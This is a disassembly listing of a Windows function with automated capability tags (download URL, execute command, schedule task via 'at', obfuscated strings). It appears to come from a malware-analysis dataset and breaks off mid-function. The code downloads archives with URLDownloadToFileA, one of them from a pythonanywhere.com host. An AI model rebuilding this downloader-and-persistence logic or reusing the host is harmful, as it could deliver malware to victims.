Function at 0x403580
Capabilities:
Contain obfuscated stackstrings
Download url
Execute command
Get common file path
Get program files directory
Get session user name
Inspect section memory permissions
Receive data
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b65d
mov eax, dword fs:[0]
push eax
sub esp, 0x62c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
xor eax, eax
mov dword [ebp - 0x450], edi
mov dword [ebp - 0x454], eax
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x530], eax
lea eax, [ebp - 0x218]
push eax
push edi
push edi
push 0x2a
push edi
call esi
test eax, eax
je 0x4035f1
lea eax, [ebp - 0x218]
push eax
push edi
push edi
push 0x26
push edi
call esi
test eax, eax
jne 0x405d63
mov eax, 0x410028
mov byte [ebp - 0x38c], 0
mov byte [ebp - 0x320], 0
xor esi, esi
mov dword [ebp - 0x36c], eax
nop dword [eax]
push dword [ebp - 0x38c]
mov edx, eax
lea ecx, [ebp - 0x46c]
call fcn.00409280
mov dword [ebp - 4], 0
lea edx, [ebp - 0x218]
push dword [ebp - 0x320]
lea ecx, [ebp - 0x350]
call fcn.00409240
lea eax, [ebp - 0x46c]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x350]
lea ecx, [ebp - 0x338]
call fcn.00401d20
add esp, 0xc
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x33c]
cmp ecx, 8
jb 0x4036a4
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40369a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40387f
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x458]
cmp ecx, 8
jb 0x403705
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4036fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40387f
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x45c], 0
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
call fcn.00402da0
test al, al
je 0x403744
lea ecx, [ebp - 0x338]
call fcn.00402e10
test al, al
jne 0x403801
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x324]
cmp ecx, 8
jb 0x40378b
mov edx, dword [ebp - 0x338]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403781
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40387f
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov eax, dword [ebp - 0x36c]
add esi, 4
add eax, 4
mov dword [ebp - 0x36c], eax
cmp esi, 0x34
jb 0x403610
mov byte [ebp - 0x320], 0
lea edx, [ebp - 0x218]
push dword [ebp - 0x320]
lea ecx, [ebp - 0x368]
call fcn.00409240
mov dword [ebp - 4], 5
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x38c], 0
lea edx, [ebp - 0x368]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x390]
call fcn.00407950
add esp, 4
test eax, eax
jne 0x4062a0
jmp 0x403849
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x338]
call fcn.00401d00
mov ecx, eax
call fcn.00406dd0
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.00407cd0
lea ecx, [ebp - 0x368]
call fcn.00406e90
lea ecx, [ebp - 0x338]
mov dword [ebp - 4], 0xffffffff
call fcn.00401d90
jmp 0x403a2d
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x354]
cmp ecx, 8
jb 0x40388f
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403885
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403885
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov esi, dword [ebp - 0x38c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x370], xmm0
test esi, esi
je 0x4038a8
lock inc dword [esi + 4]
mov ecx, dword [ebp - 0x390]
mov edx, esi
mov dword [ebp - 0x370], ecx
mov dword [ebp - 0x36c], edx
test esi, esi
je 0x4038c4
lock inc dword [esi + 4]
movlpd qword [ebp - 0x398], xmm0
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0
test esi, esi
je 0x40390b
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x40390b
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x403905
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebp - 0x390]
mov byte [ebp - 4], 0xa
test ecx, ecx
je 0x4039d2
nop word [eax + eax]
lea eax, [ecx + 0x20]
mov ecx, eax
mov dword [ebp - 0x320], eax
call fcn.00402e10
test al, al
jne 0x40394e
lea ecx, [ebp - 0x370]
call fcn.00402c90
mov ecx, dword [ebp - 0x370]
test ecx, ecx
jne 0x403920
jmp 0x4039d2
push ecx
mov ecx, dword [ebp - 0x320]
lea eax, [ebp - 0x388]
push eax
call fcn.00407650
cmp dword [ebp - 0x374], 0x10
lea eax, [ebp - 0x388]
mov edi, 0x100000
cmovae eax, dword [ebp - 0x388]
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x450], edi
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov ecx, dword [ebp - 0x374]
add esp, 0xc
cmp ecx, 0x10
jb 0x4039d2
mov edx, dword [ebp - 0x388]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4039c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4039c8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov ecx, dword [ebp - 0x36c]
test ecx, ecx
je 0x403a01
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x403a01
mov eax, dword [ecx]
call dword [eax]
mov edx, dword [ebp - 0x36c]
or eax, 0xffffffff
lock xadd dword [edx + 8], eax
jne 0x403a01
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x403a2d
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x403a2d
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x403a2d
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
call fcn.004092c0
mov dword [ebp - 4], 0xb
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x350]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x368]
or edi, 2
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
or edi, 4
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x484], xmm0
cmovae edx, dword [ebp - 0x338]
mov ecx, edx
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403af5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x484]
call fcn.00408530
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x49c]
push 0x48
xorps xmm0, xmm0
mov dword [ebp - 0x48c], 0
push str.https:__windows.php.net_downloads_releases_php_8.3.13_Win32_vs16_x86.zip
movups xmmword [ebp - 0x49c], xmm0
mov dword [ebp - 0x488], 0
call fcn.00408530
lea edx, [ebp - 0x484]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x49c]
call fcn.00402ff0
test eax, eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x488]
sets byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x403b9b
mov edx, dword [ebp - 0x49c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403b91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d68
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 0xf
mov byte [ebp - 0x49c], 0
cmp ecx, 0x10
jb 0x403bf4
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403bea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d68
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
cmp ecx, 0x10
jb 0x403c4d
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d68
push ecx
push edx
call fcn.00409ef6
add esp, 8
and edi, 0xfffffffd
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov dword [ebp - 0x450], edi
cmp ecx, 8
jb 0x403cb5
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403cab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d68
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x403d12
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d68
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
cmp ecx, 8
jb 0x403d78
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403d6e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
je 0x403fb6
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
call fcn.004092c0
mov dword [ebp - 4], 0x11
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x350]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x368]
or edi, 0x4000
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
push 0
or edi, 0x8000
lea eax, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
push 0
cmovae eax, dword [ebp - 0x338]
push eax
push str.https:__windows.php.net_downloads_releases_php_8.3.13_Win32_vs16_x86.zip
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x324]
test eax, eax
setne byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x403e7b
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f99
push ecx
push edx
call fcn.00409ef6
add esp, 8
and edi, 0xffffbfff
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov dword [ebp - 0x450], edi
cmp ecx, 8
jb 0x403ee6
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403edc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f99
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x403f43
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f99
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
cmp ecx, 8
jb 0x403fa9
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403f9f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
jne 0x405d63
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
call fcn.004092f0
mov dword [ebp - 4], 0x14
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4b4]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x49c]
call fcn.00401df0
lea eax, [ebp - 0x368]
or edi, 0x100
push eax
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x484]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00407650
or edi, 0x80
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0x17
lea esi, [ebp - 0x484]
cmp dword [ebp - 0x470], 0x10
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
cmovae esi, dword [ebp - 0x484]
call fcn.004092c0
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x350]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x4cc]
or edi, 0x800
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
or edi, 0x10
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
mov edx, esi
cmovae ecx, dword [ebp - 0x338]
call fcn.00403270
test eax, eax
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x324]
setne byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x404154
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40414a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x19
and edi, 0xfffff7ff
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
cmp ecx, 8
jb 0x4041b9
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x40421a
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404210
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x4b8]
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
cmp ecx, 8
jb 0x40427b
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404271
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], ax
cmp ecx, 0x10
jb 0x4042d6
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
and edi, 0xfffffeff
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
mov dword [ebp - 0x450], edi
cmp ecx, 8
jb 0x404341
mov edx, dword [ebp - 0x49c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404337
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 7
mov word [ebp - 0x49c], ax
cmp ecx, 8
jb 0x40439e
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404394
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043f4
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
cmp ecx, 8
jb 0x404404
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4043fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4043fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
jne 0x405d63
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
mov edx, str.lua.zip
call fcn.00409240
mov dword [ebp - 4], 0x1c
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4b4]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x368]
or edi, 0x20000
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
or edi, 0x10000
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0x1f
lea edx, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x49c], xmm0
cmovae edx, dword [ebp - 0x338]
mov ecx, edx
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4044e4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x49c]
call fcn.00408530
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x484]
push 0x2f
xorps xmm0, xmm0
mov dword [ebp - 0x474], 0
push str.https:__eddy2kb.pythonanywhere.com_lua_download
movups xmmword [ebp - 0x484], xmm0
mov dword [ebp - 0x470], 0
call fcn.00408530
lea edx, [ebp - 0x49c]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x484]
call fcn.00402ff0
test eax, eax
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x470]
sets byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x40458a
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404580
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40475a
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
cmp ecx, 0x10
jb 0x4045e3
mov edx, dword [ebp - 0x49c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4045d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40475a
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 0xf
mov byte [ebp - 0x49c], 0
cmp ecx, 0x10
jb 0x40463c
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404632
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40475a
push ecx
push edx
call fcn.00409ef6
add esp, 8
and edi, 0xfffdffff
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov dword [ebp - 0x450], edi
cmp ecx, 8
jb 0x4046a7
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40469d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40475a
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x404704
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4046fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40475a
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
cmp ecx, 8
jb 0x40476a
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404760
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404760
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
je 0x4049aa
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
mov edx, str.lua.zip
call fcn.00409240
mov dword [ebp - 4], 0x22
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4b4]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x368]
mov dword [ebp - 0x454], 0x20
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
cmp dword [ebp - 0x324], 0x10
lea eax, [ebp - 0x338]
push 0
cmovae eax, dword [ebp - 0x338]
push 0
push eax
push str.https:__eddy2kb.pythonanywhere.com_lua_download
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x324]
test eax, eax
setne byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x40486a
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404860
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40498d
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov eax, 0x10
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x454], eax
cmp ecx, 8
jb 0x4048da
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4048d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40498d
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x404937
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40492d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40498d
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x4a4], 0
